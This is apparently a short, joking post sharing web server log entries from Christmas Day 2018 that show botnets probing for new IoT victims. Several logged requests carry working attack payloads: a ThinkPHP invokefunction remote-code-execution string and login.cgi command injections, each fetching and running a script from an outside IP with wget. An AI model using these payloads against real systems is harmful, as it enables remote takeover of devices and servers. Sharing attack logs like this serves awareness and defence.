X-mas ritual
Two things you can be assured of:
1. Lots of new devices clogging the system.
2. Lots of botnets probing for new IoT victims to infect:
dedi09.customers.kvsolutions.nl [25/Dec/2018:00:26:06 -0500] "GET /index.php?s=/index/\\think\\app/invokefunction_function=call_user_func_array_vars[0]=shell_exec_vars[1][]=cd%20/tmp;wget%20http://205.185.113.123/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh HTTP/1.1" "Sefa"
host-241-178.239-178.enter.it [25/Dec/2018:02:02:46 -0500] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" Chrome 51.0 UA
201.224.73.139 [25/Dec/2018:06:58:06 -0500] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.142.26/x%20-O%20-%3E%20/tmp/x;sh%20/tmp/x%27$ HTTP/1.1" "Kowai/1.0"
dedi09.customers.kvsolutions.nl [25/Dec/2018:09:53:16 -0500] "GET /index.php?s=/index/\\think\\app/invokefunction_function=call_user_func_array_vars[0]=shell_exec_vars[1][]=cd%20/tmp;wget%20http://205.185.113.123/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh HTTP/1.1" "Sefa"
27.28.149.72 [25/Dec/2018:23:20:39 -0500] "GET /cgi-bin/login.html HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36"
Please remember to update your brand new refrigerator's firewall... lol